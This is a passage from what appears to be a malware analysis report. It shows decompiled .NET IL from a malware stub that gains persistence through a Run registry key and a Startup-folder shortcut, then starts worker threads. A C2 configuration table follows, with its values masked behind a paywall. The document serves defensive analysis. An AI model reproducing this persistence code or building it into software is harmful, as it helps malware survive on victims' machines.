System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) ldloc.s V_9 call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) stloc.s V_8 ldloc.s V_8 callvirt System.Void System.Diagnostics.Process::WaitForExit() leave.s IL_0242: call My.Dg1FbH8Ix2bDhDyDCKti8 My.yC2wr5zyId83WOG6avpAo::EFNpD5v78UfbrX3VFWWOF() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_10 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0242: call My.Dg1FbH8Ix2bDhDyDCKti8 My.yC2wr5zyId83WOG6avpAo::EFNpD5v78UfbrX3VFWWOF() call My.Dg1FbH8Ix2bDhDyDCKti8 My.yC2wr5zyId83WOG6avpAo::EFNpD5v78UfbrX3VFWWOF() callvirt Microsoft.VisualBasic.MyServices.RegistryProxy Microsoft.VisualBasic.Devices.ServerComputer::get_Registry() callvirt Microsoft.Win32.RegistryKey Microsoft.VisualBasic.MyServices.RegistryProxy::get_CurrentUser() ldstr SOFTWARE\Microsoft\Windows\CurrentVersion\Run ldc.i4.1 <null> callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean) ldsfld System.String GxijyYmn5EL75lWl6ATBe::VC1q74tnDDCMpmOwWOAfA call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) ldloc.0 <null> callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object) leave.s IL_027D: ldc.i4.7 dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_11 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_027D: ldc.i4.7 ldc.i4.7 <null> call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder) ldstr \ ldsfld System.String GxijyYmn5EL75lWl6ATBe::VC1q74tnDDCMpmOwWOAfA call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) ldstr .lnk call System.String System.String::Concat(System.String,System.String,System.String,System.String) stloc.s V_12 ldstr WScript.Shell ldstr call System.Object Microsoft.VisualBasic.Interaction::CreateObject(System.String,System.String) ldnull <null> ldstr CreateShortcut ldc.i4.1 <null> newarr System.Object stloc.s V_15 ldloc.s V_15 ldc.i4.0 <null> ldloc.s V_12 stelem.ref <null> ldloc.s V_15 stloc.s V_16 ldloc.s V_16 ldnull <null> ldnull <null> ldc.i4.1 <null> newarr System.Boolean stloc.s V_17 ldloc.s V_17 ldc.i4.0 <null> ldc.i4.1 <null> stelem.i1 <null> ldloc.s V_17 call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[]) ldloc.s V_17 ldc.i4.0 <null> ldelem.i1 <null> brfalse.s IL_0302: stloc.s V_18 ldloc.s V_16 ldc.i4.0 <null> ldelem.ref <null> call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object) ldtoken System.String call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle) call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type) castclass System.String stloc.s V_12 stloc.s V_18 ldloc.s V_18 ldnull <null> ldstr TargetPath ldc.i4.1 <null> newarr System.Object stloc.s V_19 ldloc.s V_19 ldc.i4.0 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_19 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldloc.s V_18 ldnull <null> ldstr WorkingDirectory ldc.i4.1 <null> newarr System.Object stloc.s V_19 ldloc.s V_19 ldc.i4.0 <null> ldstr stelem.ref <null> ldloc.s V_19 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldloc.s V_18 ldnull <null> ldstr Save ldc.i4.0 <null> newarr System.Object ldnull <null> ldnull <null> ldnull <null> ldc.i4.1 <null> call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean) pop <null> ldnull <null> stloc.s V_18 ldloc.s V_12 ldc.i4.3 <null> newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode) stsfld System.IO.FileStream Stub.FamedNmBs4y1x04FaLrPFzZGxNRM5wMR9GgGVx4Es6ANWkJwlOath8::HSzXaoYc4g98xGcnq5zYe3sMuvDBZwclYudJFtQf3YhSfvlwgzcOVo leave.s IL_0381: call System.Void Stub.Iwqt14JHZME7I6SiEOigo::wqow75IK33gv7XTBrJDHR() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_13 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0381: call System.Void Stub.Iwqt14JHZME7I6SiEOigo::wqow75IK33gv7XTBrJDHR() call System.Void Stub.Iwqt14JHZME7I6SiEOigo::wqow75IK33gv7XTBrJDHR() call System.Void Stub.FamedNmBs4y1x04FaLrPFzZGxNRM5wMR9GgGVx4Es6ANWkJwlOath8::tfypLijPacPkTy4A15QnjUo7aRATTNzFQ76QBZPPkonQ3M353Bmo7I() ldnull <null> ldftn System.Void Stub.0iErEQWPkKWPNUizSmYkM::IM7knshc51tAc0ZV5e1n2() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) callvirt System.Void System.Threading.Thread::Start() call System.String Stub.4va4JEahwfa3VDMePgzxA::3oLYUEyjHPf9iPbLULfmW() call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String) brfalse.s IL_03B2: ldnull call System.Void Stub.GIGB4uALXu0nL2z0trVTLrZu307qfuYAn6KulYSHFUThoc1CBNTgZD::BSgQigwYwxQ5zWoIF6UaHievzIk1PTrDHHVYs6JMhACfwOvmSi6gc1() ldnull <null> ldftn System.Void Stub.0iErEQWPkKWPNUizSmYkM::0yyCIODXqV48L5B5Guljw() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.1 <null> ldnull <null> ldftn System.Void Stub.0iErEQWPkKWPNUizSmYkM::5l1MF5pJA0oUlyK9e0UcR() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.2 <null> ldloc.1 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Join() ret <null>

Mutex MUTEXmalicious

rsriuhuhuhuhuhuhuhu

CnC CNCmalicious

127huhuhuhu

CnC CNCmalicious

192.huhuhuhu

CnC CNCmalicious

Rashedhuhuhuhuhuhuhuhuhuhuhu

Port PORTmalicious

2huhuhuhu

Full artefact values (URLs, paths, registry keys, scripts…) are available with Essential.

Unlock with Essential

Config. Field	Value
Mutex	rsriuhuhuhuhuhuhuhu
Hosts	127.0.huhuhuhuhuhuhuhuhuhuhu
Port	2huhuhuhu
KEY	<12huhuhuhu
USBNM	<Xwhuhuhuhu
LoggerPath	%Prohuhuhuhuhuhuhu
family	xhuhuhuhu

We extracted this malware's full configuration (C2, credentials, campaign IDs…).

Unlock with Essential

Mutex MUTEXmalicious

rsriuhuhuhuhuhuhuhu